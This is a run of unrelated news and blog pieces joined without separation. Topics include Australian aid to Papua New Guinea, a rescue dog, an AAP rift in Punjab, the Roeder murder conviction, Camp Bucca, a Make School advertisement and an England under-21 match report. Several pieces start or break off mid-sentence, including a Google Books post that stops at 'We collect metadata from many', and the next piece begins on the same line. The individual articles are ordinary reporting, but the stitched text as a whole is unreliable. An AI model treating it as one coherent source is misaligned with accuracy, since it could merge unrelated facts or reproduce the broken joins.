Pato said that while PNG welcomed foreign aid and personnel in supporting the nation’s development efforts, some aspects of the peace-building dialogue between PNG officials and their foreign counterparts were seriously inadequate and needed immediate review.
A representative for Bishop said the proposal was discussed in December 2014, and that high commissioner, Deborah Stokes, formally advised the government before Tuesday’s Australian federal budget.
Bougainville was the site of PNG’s only civil war, and the island province is slowly moving towards an independence vote due in the next five years.
PNG is the largest recipient of Australian aid following the federal budget, receiving $477.4m.Anyone who rents in the city knows how difficult it is to find a place that allows pets.
Jolie Godin went through that frustrating and nearly impossible search for a full decade before finding a pet-friendly pad. But they say good things come to those who wait, and that proved true for this dog lover.
After moving into her new West End digs, she quickly began her search for a canine companion to share the space. That’s when she met Odysseus, a four-month-old with “the appearance of a teddy bear and the disposition of a baby crocodile,” at Vancouver Animal Control in October 2014.
“It was love at first bite,” Godin says.
Odyss is a purebred Wheaten terrier, and someone probably paid a lot of money for him before deciding to basically throw him away. He was found in Pacific Spirit Park, near UBC. He wasn’t tagged, neutered or microchipped, leaving the staff at Animal Control to believe that he had been abandoned there. No one came to claim him so he was put up for adoption a couple of weeks later.
“It’s tough to consider the type of person who would do such a thing,” says Godin.
It hasn’t all been sunshine and roses raising this spunky little guy; the young shelter pup suffered fear and aggression issues.
Godin elaborates:
At just four months old, Odyss came with leash aggression and social anxiety toward other dogs. This came out in the form of biting, humping, wide eyed freak outs and frequent “zoomies” around the park. He had no training whatsoever. It took many a kind word and a gentle approach to warm up his view of the world, and make Odyss again comfortable in his own skin. The trust was built up over time and each day that we have together, I never forget that his trust must be earned.
Godin attests that with hard work, and a lot of love, he’s grown into an adorable adolescent. “Odyss is now a wonderful, loving, loyal one year old. He loves the water, chasing squirrels and doing tricks for carrots,” the proud owner says.
What advice would Godin offer to a prospective owner who is on the fence about getting a rescue pup? “If someone were hesitant to rescue a dog I would tell them that you have this amazing opportunity to save a life (quite literally) in exchange for unconditional love and a best friend,” says Godin. “There’s also a great sense of pride that comes with having a rescue dog.”
This sweet rescue has his own Instagram account where you can follow his journey, challenges and rewards, and the unique experience of raising a rescue dog.
Have your own amazing rescue story to share? Email pet columnist Darcy Wintonyk at darcyanne at gmail.comIn clear-cut signs of rift in the Aam Aadmi Party (AAP), senior party leader and Supreme Court advocate H S Phoolka Friday said he had no standing in the party and that ticket-seekers in the party need not approach him.
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Underlining that it was AAP state convenor Sucha Singh Chhotepur who runs the show in the party, Phoolka, in a video message he uploaded on all social media platforms, said: “Please contact Chhotepur (for tickets). There is no need to waste your time on me. He is going to decide it.
Chhotepur, meanwhile, told The Indian Express that “it is extremely unfortunate that a senior AAP leader like Phoolka has displayed such kind of attitude”.
“I have no idea why is he upset. We respect him a lot. I would not like to say anything. Polls are approaching and our focus is on winning maximum seats in Punjab,” he said.
[related-post]
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In the one-minute-27-second video, Phoolka has voiced strong resentment.
“Friends, the work to distribute tickets is on, it is gathering pace. People are asking for appointments from me. You people are reaching my Ludhiana and Delhi office. When I decline to meet you, the sentiment that goes out is that I am too arrogant and proud. But the fact is that I have no role in distributing tickets. This onus now lies on state convenor Sucha Singh Chotepur. Please contact him, he is the one who has the ultimate role to play,” he said.
Mincing no words that he has been marginalised in the party, he said “he was not a member in either of the committees formed for elections”.
“I am not a member of either the screening, campaigning or manifesto committee for Punjab. Neither am I member of national executive committee, National council or state committee. Like you, I am a small member of this party. Kindly do not waste your time on me. It is clear that Chhotepur is the supreme leader of the party now in Punjab so please go to him; he is going to finalise the tickets,” he said.
He also expressed his disappointment over his non-inclusion in the recently announced national executive of the party that has Chhotepur as ex-officio member. MPs Bhagwant Mann and Sadhu Singh from Sangrur and Faridkot, respectively, women’s wing head Baljinder Kaur and youth wing head Harjot Bains are also part of the national executive.
When contacted, Phoolka, who resigned from all party posts a few months ago citing that “he needs more time to focus on 1984 anti-Sikh riots court cases”, said, “I have just clarified that I have no say when it comes to ticket distribution. I have nothing against anyone but it is a fact that Chhotepur is state convenor and ticket aspirants should not waste their time on me.”
WATCH INDIAN EXPRESS VIDEOS HERE
Phoolka was the party’s candidate from Ludhiana in 2014 Lok Sabha polls. Though he was defeated by Congress’ Ravneet Singh Bittu, he had swept the rural belt of Jagraon, an Akalis bastion, losing by a thin margin of over 19,000 votes.
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Earlier, he was the national head of party’s legal cell and member of Political Affairs Committee (PAC) but resigned from active politics last year in September.RANGERS Football Club can today confirm the departure of goalkeeping coach Jim Stewart.
Jim started his senior playing career with Kilmarnock then moved to Middlesbrough before joining Rangers in 1980, where he would make more than 100 first-team appearances.
Spells at Dumbarton, St Mirren and Partick Thistle followed before he settled into the world of coaching with Kilmarnock, Hearts and the Scottish national side.
He re-joined Rangers in 2007 when Walter Smith returned to the Club and was part of the hugely successful coaching team which won three top flight titles in a row and reached the 2008 UEFA Cup Final.
The Club wishes him every success in the future and thanks him for his years of commitment and loyal service – both as a player and member of the coaching team. Jim will always be welcome at Ibrox Stadium.The biggest audio show in the United States, AXPONA (Audio Expo North America), takes place April 2123 at the Westin O'Hare in Rosemont, close to Chicago O'Hare International airport. Since planting its roots in America's heartland just a few years back, the show has grown to offer, in 2017, at least 142 active exhibit rooms, 453 unique brands and exhibitors, an Ear Gear Expo so large that it has spilled over into surrounding hallways, and a full schedule of seminars and entertainment.
"We're still adding people!" Steve Davis, Director of Sales and Industry Relations exclaimed by phone. "One of the local retailers is now requesting another room. Last year we had 111. We can't go much further, because the hotel is maxed out. We're even moving our staff into nearby hotels, and moving the show to the Renaissance Schaumburg in 2018."
Given the event's size, and its proximity to Munich High End (which takes place May 1821, and offers over 400 exhibitors and 900 brands), it is notable that at least 35 new, brand new, and advance audition product introductions have been announced so far. I say "at least" because some exhibitors don't know if products will be ready for showing until the last moment, others forget to fill out the paperwork, and still others have stretched the meaning of the word "new" to the level of alternative fact.
Nonetheless, among notable introductions are a number from major brands: Aavik, Audionet, AudioQuest, Aurender, Benchmark, Bricasti, CH Precision, Conrad-Johnson, Daedalus, Dynaudio, Emerald Physics, Esoteric, GamuT, HiFiMan, Jadis, JansZen, KEF, Kubala-Sosna, Legacy, Marigo, MBL, Monitor, Playback Designs, Rel, Skogrand, Synergistic Research, Tidal loudspeakers, Thiel, Vivid, Volti, Von Schweikert, and Wyred 4 Sound.
Seminars are plentiful. Among the familiar faces are two from Stereophile: Michael Fremer, whose widely popular "Internationally Renowned Turntable Set-Up Seminar" takes place Friday and Saturday at 1 pm, and yours truly, who appears on the "What does 2017 mean for audio?" panel on Friday at 10:15 am. Given the expected long lines at the registration table, advance registration is wise if you want to attend that one. Judging from the topics, vinyl and hi-rez digital playback are the hot topics this year.
Some people consider live entertainment ancillary at best to an audio show. But those who write it off will miss Saturday night's Blues Revue & Benefit Concert, sponsored by Jazz Foundation of America, with three accomplished blue players from the Chicago Area performing in a by-donation benefit for blues and jazz artists in need. (That's surely worth the price of a few used LPs.) Friday night brings the Frank Catalano Band, sponsored by local jazz radio station WDCB. And all three days, pianists will perform from 11:30am2:30pm.
I'm also assured that, despite the crowds, there will be four in-hotel places to eat: the AXPONA Café, Benchmark restaurant, Starbucks, and GrabNGo near the Marketplace.
The show's growth is especially gratifying to Davis, who credits JDEvents' "insight and experience" for AXPONA's success. "Obviously, I'm biased, but there's no other show company I know of, with the exception of the CTA, that can pull off a show as seamlessly as they do," he says.
An example of JDEvents' foresight was offered by Conference & Programming Director Liz Miller, who formed an Attendee Advisory Council to help guide her efforts. "We spoke to people who were really willing to give feedback and fill out post-show surveys," she explained. "From that grouping, I was able to invite people from across the country, both women and men of different ages, to help us improve the event and refine the language we use to market it and spread the word."
Clearly, judging by the show's growth, everyone is doing something very, very right. Please join us at AXPONA, where both Jana Dagdagan and I will be reporting for Stereophile.com, and others will be reporting for our sister online publications AnalogPlanet.com, InnerFidelity.com, and AudioStream.com.Syracuse, N.Y. — The 2016 Syracuse University football team is on pace to draw the lowest attendance figure in Carrier Dome history.
Syracuse opened the 2016 season with three straight home games, drawing an average of 31,936 fans for Colgate (31,336), Louisville (32,184) and South Florida (32,288).
If Syracuse stays on that pace in its final three home games, it will fall below the mark of an average of 32,102 fans that attended seven home games in 2015, the lowest mark in Carrier Dome history.
With nine games to go in the 2016 season, Syracuse will play just three more times at home.
Syracuse travels to Connecticut on Saturday, plays Notre Dame at MetLife Stadium on Oct. 1 and then visits Wake Forest on Oct. 8.
Syracuse's next home game is on Oct. 15 against Virginia Tech. The other scheduled home games are North Carolina State on Nov. 12 and Florida State on Nov. 19.
In the often-debated world of Syracuse football attendance, a few factors need to be thrown in the pot for consideration.
Free tickets were offered to Syracuse University students for the first two home games of the season.
Syracuse's 45-20 loss to South Florida was the first home game played on a Saturday this season (3:30 kickoff). The first two games on the home slate, Colgate and Louisville, were played on Friday night.
Syracuse's opening game against Colgate on Sept. 2 was played on the opening day of Labor Day Weekend and competed against the New York State Fair, including a well-attended concert at the Lakeshore Ampitheater by Florida Georgia Line. Syracuse head coach Dino Babers mentioned that "now we can get some of our music fans back" leading up to the Louisville game on Sept.9
The Louisville game was played on a hot and humid day in Syracuse with temperatures in the mid-80s at kickoff. Remember all the "cramping" that happened to Louisville?
Syracuse did not receive a significant bump in attendance for the South Florida game even with that game taking place during homecoming weekend (just 104 more fans than Louisville according to announced figures).
Syracuse football faith meter: How are you feeling after loss to USF? (poll)
Contact Brent Axe: Email | Twitter
Listen to "On the Block" with Brent Axe weekdays from 4-6 p.m. on ESPN Radio Syracuse(CNN) -- A Kansas jury deliberated just 37 minutes before convicting an anti-abortion activist of first-degree murder in the fatal shooting of an abortion provider.
The jury found Scott Roeder, 51, guilty of gunning down Dr. George Tiller, who operated a clinic in Wichita where late-term abortions were performed. Roeder, 51, faces life in prison when he is sentenced on March 9.
Tiller's family said the jury reached a "just" verdict.
"At this time we hope that George can be remembered for his legacy of service to women, the help he provided for those who needed it and the love and happiness he provided us as a husband, father and grandfather," the family said in a written statement.
A day earlier, Roeder told jurors he had shot Tiller in the foyer of Reformation Lutheran Church as Sunday services began. Testifying as his only defense witness, he said he believed he had to kill Tiller to save lives. He said he had no regrets.
"There was nothing being done, and the legal process had been exhausted, and these babies were dying every day," Roeder said. "I felt that if someone did not do something, he was going to continue."
"His testimony was delivered very matter-of-factly, but its contents were chillingly horrific," prosecutor Ann Swengel said in her closing argument. "He carried out a planned assassination, and there can be no other verdict in this case... other than guilty."
Quick verdict surprised prosecutor
Prosecutors initially fought to keep abortion out of the trial, claiming that Tiller's death was a straightforward case of premeditated murder.
Eventually, the abortion issue took center stage as prosecutors portrayed Tiller as a target of Roeder's anti-abortion agenda, and defense lawyers attempted to mitigate his culpability under the theory that he believed Tiller's death was justified to save the lives of others.
Defense attorney Mark Rudy told jurors in his closing argument that Roeder "thought that the babies kept on dying" and he had to stop Tiller from "killing more babies."
Another defense attorney, Steve Osburn, said Roeder was "disappointed," with the verdict. But he added, "He's known that this day was going to come, I think."
Osburn said his client "feels remorse toward the family, but not for what he did."
The trial drew activists from both sides of the abortion debate to the courtroom, and a van plastered with slogans and photographs of fetuses was parked in a prominent spot in front of the courthouse.
Among the attendees were the Rev. Michael Bray, whose history in the anti-abortion movement includes 1985 conspiracy convictions in connection with a string of clinic bombings, and Katherine Spillar, executive vice president of the Feminist Majority Foundation.
Congregants from Reformation Lutheran testified that they had seen Roeder at church several times before the day he killed Tiller by shooting him at point-blank range in the head.
Jurors heard emotional testimony from church-goers who rushed to Tiller's side and attempted to administer mouth-to-mouth resuscitation as he lay in a pool of blood. Others, meanwhile, followed Roeder into the church parking lot, where he threatened to shoot them.
Roeder also was convicted of aggravated assault in connection with threats he made to two ushers, Gary Hoepner and Keith Martin.
As Roeder pulled away in his car, Martin testified, something moved him to throw the coffee cup he was holding at the vehicle. "Frustration, I guess, lack of accomplishment, nothing else to do."
Prosecutors also called employees of the pawn shop where Roeder purchased the.22-caliber Taurus pistol believed to have been used to shoot Tiller. The gun was never found, but surveillance video and receipts showed that he purchased the gun on May 18 and received it on May 23, the week before he shot Tiller.
Roeder's defense team did not dispute much of the factual evidence. Roeder testified that he chose to target Tiller at church because it presented the best "window of opportunity" to attack Tiller, who traveled in an armored vehicle and whose clinic was a "fortress."
He admitted bringing the pistol with him to Lutheran Reformation on May 24 with the intention of shooting Tiller, but the physician did not attend services that day. So, Roeder testified, he returned the following week.
"Do you feel as though you've successfully completed your mission?" Sedgwick County District Attorney Nola Foulston asked Roeder on Thursday.
"He's been stopped," Roeder answered.
His testimony was intended just as much for the jury as it was to convince Judge Warren Wilbert that evidence existed to support a possible conviction of voluntary manslaughter. A conviction on the lesser offense, which is defined as "an unreasonable but honest belief that circumstances existed that justified deadly force," would have set Roeder free from prison after five years.
Earlier in the trial, Wilbert said he would rule after hearing evidence in the case, acknowledging that he felt the defense faced "an uphill battle." Ultimately, he rejected the theory, saying testimony did not support the defense claim that Roeder's beliefs justified using deadly force against Tiller.
"There is no imminence of danger on a Sunday morning in the back of a church, let alone any unlawful conduct, given that what Tiller did at his clinic Monday through Friday is lawful in Kansas," the judge said.
In Session's Lena Jakobsson and CNN's Emanuella Grinberg contributed to this story.Posted by Leonid Taycher, software engineer
When you are part of a company that is trying to digitize all the books in the world, the first question you often get is: “Just how many books are out there?”
Well, it all depends on what exactly you mean by a “book.” We’re not going to count what library scientists call “works,” those elusive " distinct intellectual or artistic creations.” It makes sense to consider all editions of “Hamlet” separately, as we would like to distinguish between -- and scan -- books containing, for example, different forewords and commentaries.
One definition of a book we find helpful inside Google when handling book metadata is a “tome,” an idealized bound volume. A tome can have millions of copies (e.g. a particular edition of “Angels and Demons” by Dan Brown) or can exist in just one or two copies (such as an obscure master’s thesis languishing in a university library). This is a convenient definition to work with, but it has drawbacks. For example, we count hardcover and paperback books produced from the same text twice, but treat several pamphlets bound together by a library as a single book.
Our definition is very close to what ISBNs ( International Standard Book Numbers ) are supposed to represent, so why can’t we just count those? First, ISBNs (and their SBN precursors) have been around only since the mid 1960s, and were not widely adopted until the early-to-mid seventies. They also remain a mostly western phenomenon. So most books printed earlier, and those not intended for commercial distribution or printed in other regions of the world, have never been assigned an ISBN.
The other reason we can’t rely on ISBNs alone is that ever since they became an accepted standard, they have been used in non-standard ways. They have sometimes been assigned to multiple books: we’ve seen anywhere from two to 1,500 books assigned the same ISBN. They are also often assigned to things other than books. Even though they are intended to represent “books and book-like products,” unique ISBNs have been assigned to anything from CDs to bookmarks to t-shirts.
What about other well-known identifiers, for example those assigned by Library of Congress ( Library of Congress Control Numbers ) or OCLC ( WorldCat accession numbers)? Rather than identifying books, these identify records that describe bibliographic entities. For example the bibliographic record for Lecture Notes in Mathematics (a monographic series with thousands of volumes) is assigned a single OCLC number. This makes sense when organizing library catalogs, but does not help us to count individual volumes. This practice also causes duplication: a particular book can be assigned one number when cataloged as part of a series or a set and another when cataloged alone. The duplication is further exacerbated by the difficulty of aggregating multiple library catalogs that use different cataloging rules. For example, a single Italian edition of “Angels and Demons” has been assigned no fewer than 5 OCLC numbers.
So what does Google do? We collect metadata from many |
State Department officials distributed Clinton's schedule to members of the Clinton Foundation.
The 323-page document contains emails not previously turned over to the State Department. Judicial Watch President Tom Fitton believes these emails should have been investigated earlier.
"It is frankly remarkable that the FBI and Justice Department are only now investigating Abedin's connection to Clinton's mishandling of classified information," he said.
When questioned earlier this year, Clinton said she did not send classified information over her email.
Meanwhile, Judicial Watch also uncovered documents detailing an exchange between State Department IT Brian Pagliano and Bill Clinton aide Justin Cooper.
Pagliano warned Cooper that the use of an outside vendor, which Clinton relied upon for email, made them more susceptible to repeated hacks.
Ten emails were exchanged between the two alerting Cooper to an apparent hack on the unsecure non-state.gov email used by Clinton.
The email read in part:
"I wonder if they had someone launching an attack from their servers," Pagliano wrote. "That may explain the DNS issue we had earlier. Might have been an injection attack...We use their servers to resolve external websites for both the sbs and blackberry server so we'd be susceptible to such an attack."Prison was a ‘breeding ground’ for Al-Qaeda, ex-inmate says
Extremists at the US’s largest prison in Iraq, shut down this fall, were allowed to give training courses to inmates on how to use explosives and how to become suicide bombers, according to a report at Al-Jazeera English.
Adel Jasim Mohammed, a former inmate at Camp Bucca who spent four years there without ever facing charges, told the news network that “US officials did nothing to stop radicals from indoctrinating young detainees at the camp,” AJE reports.
“Extremists had freedom to educate the young detainees. I saw them giving courses using classroom boards on how to use explosives, weapons and how to become suicide bombers,” Mohammed said. “In 2005, an extremist was sent to our camp. At first, Sunnis and Shias rejected his teachings. But we were told that he was imposed by the prison authority,” he said. “He stayed for a week and recruited 25 of the 34 detainees – they became extremists like him.”
This is not the first time that such allegations about Camp Bucca have been made, but a growing number of witnesses coming forward makes the allegations more credible. Last month, ex-inmate Abu Mohammed told the Pakistan Tribune that the prison was a “breeding ground” for Al-Qaeda.
“The illiterate and straight-forward people were the easiest prey for indoctrination,” Mohammed said.
Earlier this year Iraqi police described US-run prisons as “factories for terrorists” after stating that two suicide bombers who attacked government ministries and killed 100 people on August 19 had once been incarcerated at Camp Bucca.
But Brig.-Gen. David Quantock, the US military official in charge of detention centers in Iraq, rejected the charge.
“What frustrates me is the idea that there was a lot of radicalization going on inside the facilities of which I completely disagree,” said Quantock. “A lot of these guys were radicals even before they got into our facilities and we spent a lot of time and resources separating the extremists from the moderates.”
The Obama administration announced in September that it was shuttering the prison facility.
It is estimated that some 100,000 Iraqis spent time at Camp Bucca from 2003 to 2009, the years it was operational. US officials note that only four percent of those incarcerated returned to the jail after being freed. But, as AJE notes, it’s impossible to determine the actual recidivism rate because many of those imprisoned were never convicted in court of any crimes, so it’s unclear how many were insurgents to begin with.
— With Agence France-Presse
The following video was broadcast by Al-Jazeera English, December 11, 2009.Sneaking away from the house before Mom found out.
One of the earliest memories I have is of my sister, Barbara, and I sneaking away from the house to visit our cousin Annie Ruth. Annie lived just down at the end of the dirt road from us and during the summer we tried to make it all the way to her yard on our tricycle almost every day. I’d sit on the seat and my sister would have one foot on the back stand while she pushed with the other foot to get us down the road as fast as she could, all the time hurrying and whispering, hoping we wouldn’t get caught. Most of the time we didn’t even make it half-way there, but a few times we got all the way into the yard and even had time to play for a while. Never in our wildest dreams did we think that anything bad could happen to us. After a while we’d look up the road and see our mother standing in the yard waving a dish towel and yelling inaudibly, and we knew we’d better head right back.
I couldn’t have been more than three years old back then. Mom would give us free reign to come and go as we pleased, as long as we stayed in the yard. Most times she was like a hawk watching her young, but sometimes we were able to sneak through the cracks, we were constantly testing our boundaries. In our neighborhood, you didn’t just have one set of parents, you had four or five. We knew we were being watched even when it didn’t seem like we were. And once we were old enough to leave the yard and visit friends on our own, a report of what we’d been doing and how we’d behaved reached our house before we ever made it back.
Sorry kid, no more playing alone outside.
We were very fortunate to grow up in Fauquier County, Virginia, specifically in the town of Remington. We grew up nurtured, well-feed, well cared for in a loving family, all within a tight-knit community. That’s why it saddens me each time I read about mothers who have been arrested for allowing their children to go to the play ground alone. I wonder what happened to the idea of knowing everyone in your neighborhood? What happened to the idea that “it takes a village to raise a child”? I realize that it is probably like comparing apples and oranges to view my childhood experience in comparison to the reality of what it’s like for a child growing up today. But couldn’t we, as adults, walk the child back home and speak with the parents before calling the police to swoop in and whisk the child away? If we take children away from their parents for allowing them to play unsupervised, what does that make us as a society? Aren’t the children being abducted anyway, but not by strangers, by us. We are quickly becoming the very thing we are supposed to be fighting against. Social services, the police, the judicial system, our neighbors, we, all of us have become the strangers who are stealing children from their parents. We claim it’s being done for their own protection, but who are we kidding? I don’t think we’re even kidding ourselves. Let’s find another solution.The Pinellas Park movie theater in Florida really messed up on Black Friday when an R-rated sexually explicit scene was shown to a theater full of kids. What they were expecting to watch was Disney’s latest animated movie called Frozen.
Obviously this wasn’t done on purpose, but it’s a pretty serious mistake to make. Apparently there were technical difficulties in getting the movie to start playing, so in order to keep the kids happy, the theater decided to play a short cartoon to cover the delay. A cartoon described as being similar to Mickey Mouse’s Steamboat Willie did start playing, but then it switched over to a sex scene from another movie.
As you can imagine, with Frozen being a PG-rated movie the parents and guardians in attendance were initially shocked before trying to cover their kid’s eyes and get them out of the theater as quickly as possible. The sex scene is thought to have played for at least two minutes before being shut off.
Pinellas Park has apologized for the incident and offered everyone in the theater at the time free tickets. They haven’t said what the R-rated movie that played was, but one grandmother who was present said the scene was both visually and audibly very explicit. So if the kids couldn’t see it, they probably still heard it.
What doesn’t make sense here is the fact a cartoon started playing and then it switched to the sex scene. That doesn’t just happen unless either tampering has occurred to hide the scene in the cartoon, or the R-rated movie is also setup to play and somehow got switched over to. Either the projectionist or whoever supplied the cartoon is to blame here I’d imagine, and there will no doubt be repercussions.Hover over (or if you’re on mobile, click) the bars to view the relevant match details. This is best viewed on a desktop browser. Switch to landscape if you’re on mobile for a better viewing experience.
team,oddities,points,l2w,l2d,w2d,w2l Arsenal,6,42,0,0,3,3 Leicester,12,40,5,5,2,0 "Man City",7,39,0,1,2,4 Tottenham,12,36,2,3,6,1 "Man United",10,33,0,0,6,4 "West Ham",17,32,7,3,5,2 "Crystal Palace",11,31,5,3,1,2 Liverpool,13,30,2,3,3,5 Watford,10,29,4,4,1,1 Stoke,16,29,7,4,1,4 Everton,13,27,2,4,5,2 "West Brom",10,26,4,5,0,1 Southampton,13,24,2,1,5,5 Chelsea,13,23,0,2,3,8 Norwich,11,23,3,4,1,3 Bournemouth,12,21,4,3,3,2 Swansea,10,19,1,2,5,2 Newcastle,9,17,3,3,2,1 Sunderland,6,15,2,3,0,1 "Aston Villa",9,8,1,3,2,3
Some analysis
The ‘predicted’ result is simply the result that had the best odds. An interesting observation was that bookmakers rarely (or in this case, never) gave the best odds for a draw result. There’s a fascinating science behind this, but that is outside the scope of this post.
I thought it was interesting how the bar-heights almost define a bell curve. There were fewer unexpected results for teams at the top (Arsenal, City) and the bottom of the table (Sunderland, Villa) because they either consistently won or lost their games as expected. Meanwhile, it’s been difficult predicting results for the mid-table teams.
West Ham and Stoke are like wildcard giant-killer teams this season. West Ham managed to defeat Arsenal, City, Chelsea, Liverpool and drew with United. Stoke stole points from Chelsea, City, United and Spurs. However both teams dropped points against oppositions you would’ve expected them to beat which is why they aren’t doing as well as the high-flying Leicester this season.
Also worth noting is the stark contrast in Leicester’s and Chelsea’s seasons. The Foxes had 10 unexpectedly positive results in their favor whereas Chelsea dropped points on 11 unexpected occasions.
Work
I’ve been teaching myself D3.js and thought this would be an interesting project to try out. The data is from football-data.co.uk which includes match results and betting odds. I normalized the data available to make it much easier to query as part of this project. You can download the matchdb.db database (sqlite3) and run queries of your own. The database includes match data for seasons 2003-04 to present and also the otherwise missing referee data for the 2012-13 season and some corrected referee data. Feel free to fork the project or submit pull requests if you can think of ways of improving the parsing script. Heads up, it was written over a weekend and doesn’t follow a lot of Python standards (as with all quick’n’dirty scripts) but I’ll get to that eventually.
Lastly, shameless plug for my Fantasy website, FPL Assistant, which you might find interesting if you play the Fantasy Premier League.Peter “Doublelift” Peng was not always considered to be one of North America’s top League of Legends players and a premier AD carry. Peng grew up as an introverted kid in Mission Viejo, California and his childhood did not consist of much besides him playing video games. He had a difficult relationship with his parents who did not appreciate the amount of time he spent gaming and they got into huge arguments just about every other day.
Peter found out about League of Legends through his older brother and his friends and immediately fell in love with the game. Peng decided to reveal to his parents that pro gaming was something he wanted to seriously pursue after qualifying for the Dreamhack Riot Season 1 Championship in 2011. The tournament was being held in Sweden and as expected, Peng’s parents were very skeptical and did not want him taking part in the event. Peng’s older brother was eventually able to convince his parents to let him attend the competition and he ended up winning around $1400. When Peng was 17, he had another fall-out with his parents and they ended up telling him to leave the house, so he did. Peng brought just his wallet, computer, and bike with him and uploaded this post to Reddit from his friend’s house.
Peter was able to raise thousands of dollars and find a place to stay from that post which motivated him even more to work hard and go the extra mile to accomplish his dream of becoming a pro gamer. A short while later, Peter was recruited to Team Curse which gave him a steady income and really helped him open up and be more comfortable interacting with other people. After his impressive performance on Curse Doublelift was picked up by CLG, one of the most successful teams in NA. And the rest? Well, you already know the rest.No summer job can give you this much responsibility and this much experience managing a technical team. I came out of Make School not only with a wizard's ability to debug any iOS issue, but with months of experience leading a large technical team - which helped me in my next role running my own startup.
I've developed a deeper mastery of iOS and product development. I'm able to debug any issue I face and re-architecture messy projects. I'm ready to get a job and mentor junior engineers at a top tier startup or tech company, or start a startup!
I've held an iOS development internship or job, or have build professional quality apps of my own. My apps are well designed, well architected and are used in the wild. I feel teaching is the best way to learn!
I've advanced my knowledge of product development and built and shipped a well architected complex app. I'm ready to start applying to software engineering internships and kickstart my carrer!
I've been seriously coding for a few years or have taken advanced college CS courses (in schools or online). I've applied my knowledge to building simple apps and websites that I've shipped to the end users.
I've advanced my knowledge of computer science and built and shipped my first app! I'll have a leg up in applying to and excelling in college CS programs. I'm ready to build more products to solve problems for my community, my friends or myself.
Make School gave me my first taste of building an app from the ground up. Now I'm a student at MIT and I attribute my love for computer science to that first experience!
I've mastered coding fundamentals, object oriented programming, and the basics of app development! I'm ready to take advanced classes, participate in hackathons and consider software engineering as a career.
I don't have much coding experience beyond poking around some online tutorials. I'm passionate about learning to code and build products!
Our amazing community of alums go on to attend Make School and other top 10 CS programs (Stanford, Columbia, MIT, Carnegie Mellon, Harvard) and work at companies like Apple, Tesla, Snapchat, and Google. You'll gain access to a network of visionaries who get invited to demo their apps at The White House and are featured at the Oculus Connect conference.
You'll also have the chance to hear from incredible guest speakers, like Pixar's Danielle Feinberg, and receive mentorship from engineers that work at companies like Google, Facebook, and Apple. Most importantly, you'll launch products alongside students and instructors who will become your future colleagues and lifelong friends.
Students at the Summer Academy gain a professional-caliber education provided by real developers. Through our web and mobile iOS tracks, we'll give you the skills and knowledge required to create polished products both at the Summer Academy and beyond.
This is the summer that will change your life.
Keep working hard towards completing your final product, iterating based on the feedback of your instructors and peers. Fine tune the colors and animations to make your app delightful to use. Prepare your app for submission to the Apple App Store or online release and present it during Demo Day. Recruiters, founders and developers from tech companies and startups will come to meet you and see what you've built. Our graduates have gone on to get internships at Facebook, Google, Dropbox, Tesla, Snapchat, and many other wonderful companies.
Finish up the core features of your app to complete the minimum viable product (MVP). Learn how to tackle difficult debugging and software design challenges. Test your MVP with real users and get feedback to better understand how to improve it. Learn to create an on-boarding experience that drives users to engage and fall in love with your product.
Start working on the app you'll eventually submit to the iOS App Store or release online by the end of the Summer Academy. Your peers will serve as project managers for your app, and in return you'll help manage theirs. Continue working on your app while helping your teammates write a project specification, form a development schedule, and stick to it.
Learn about design best practices by studying visual layout, user interfaces, balance, and user delight. Apply these design lessons to work with a team on your very first iOS or web app. User test your peers' apps at the end of the week!
Dive deeper into development while cloning more apps. Meet industry veterans and learn about the industry and the development lifecycle. You'll learn the frameworks used by popular apps and brainstorm app ideas of your own!
Learn the stack needed for your track (Apple's new programming language Swift for iOS and HTML/CSS/Javascript for web) and study the current market. Get started using the t ools professional software developers use while learning the best brainstorming techniques.
Students will meet in a group with their designated mentor once a week throughout the program. With six Summer Academies under our belt, we are fortunate to have an extensive network of alumni and former instructors who are excited to return and mentor.
She wrote the first Human Interface Guidelines at Apple. You may have seen her portrayed by Kate Winslet in the 2015 biopic, Steve Jobs.
Square Cash has been topping the charts on the App Store, beating all other financial apps for months on end.
The Summer Academy has always been equal parts software engineering and product development. This year’s speakers will speak to the ways their teams use technology to build some of the world’s greatest products, past and present.
Tuition & Financial Aid
Tuition for the iOS Track or Web Track is $1,000.
Housing Information
Housing is available for Summer Academy students through our housing partner, Vantaggio Suites, at their McAllister location. Students who chose to live in Vantaggio must do so for the duration of the Summer Academy (6 weeks).
Move in date: June 29
Move out date: August 13
Students who enroll & pay before May 2nd will be guaranteed housing. Students who enroll & pay after May 2nd can still apply for housing, but it is not guaranteed that there will be beds available. You will be able to register for housing from your dashboard during the enrollment process.
Prices (for the entire duration of the Summer Academy):
Triple Room (2 roommates): $1,160
Double Room (1 roommate): $1,540
Location: 246 McAllister St. San Francisco, CA 94102
To Make School:
Walk: 13 minutes
Bus: 10 minutes
Drive: 8 minutes
Financial Aid
For students who do not have the financial means to afford tuition at the new price point, we do have a limited amount of merit-based financial aid available. You can apply for scholarship while filling out your application. If you are admitted to the Summer Academy, you will receive a separate scholarship decision via email.
We begin making rolling financial aid decisions in the spring. We recommend that you apply to the Summer Academy as soon as possible to avoid the risk of funds being no longer available.
We also encourage students applying for financial aid to crowdfund their tuition. Several past Make School students have successfully crowdfunded their way to the Summer Academy. If you would like more information about crowdfunding, please email admissions@makeschool.comTwo quickfire goals from Andrea Belotti and Marco Benassi in the space of two first-half minutes and a second goal for the latter after the break did the damage to see Gareth Southgate’s side heading home early.
The Three Lions knew that a win would take them through, or even a draw if results in Group B’s other clash between Portugal and Sweden went their way.
England 1-3 Italy UEFA European U21 Championship
Group B
Wednesday 24 June 2015
Ander Stadium, Olomouc, Czech Republic
That did not matter in the end, as Italy took the three points which they knew they needed if they were to stand a chance of reaching the semi-final, but that was also in vain as a late equaliser from Sweden saw that game end 1-1 and knock-out both England and Italy.
For England though, they were punished in the cruellest of fashion after seeing a number of chances spurned.
Southgate selected an attacking line-up, with Harry Kane, Danny Ings, Nathan Redmond and Jesse Lingard all starting whilst there was a return for John Stones in defence after concussion kept him out of the first two games.
Ings missed an early opportunity to give England the lead
Both sides started the game brightly in an open game, but the best chance of the early stages fell to England in the 13th minute as Harry Kane split the Italian defence by poking a slide-rule pass to Danny Ings. The Liverpool-bound forward raced clear into the box and just had keeper Francesco Bardi to beat, but put his shot into the side netting.
Ten minutes later, another opportunity arose as Kane beautifully controlled Carl Jenkinson’s diagonal pass before cutting inside Daniele Rugani. He pulled the trigger and hit the target but Bardi was equal to it and made a fine save.
But England were punished minutes later, when England were caught out by a quickly-taken free-kick and a wonderful chip into the box by Domenico Berardi, which was emphatically volleyed home by Belotti in the box.
Andrea Belotti is mobbed by team-mates after netting the opener
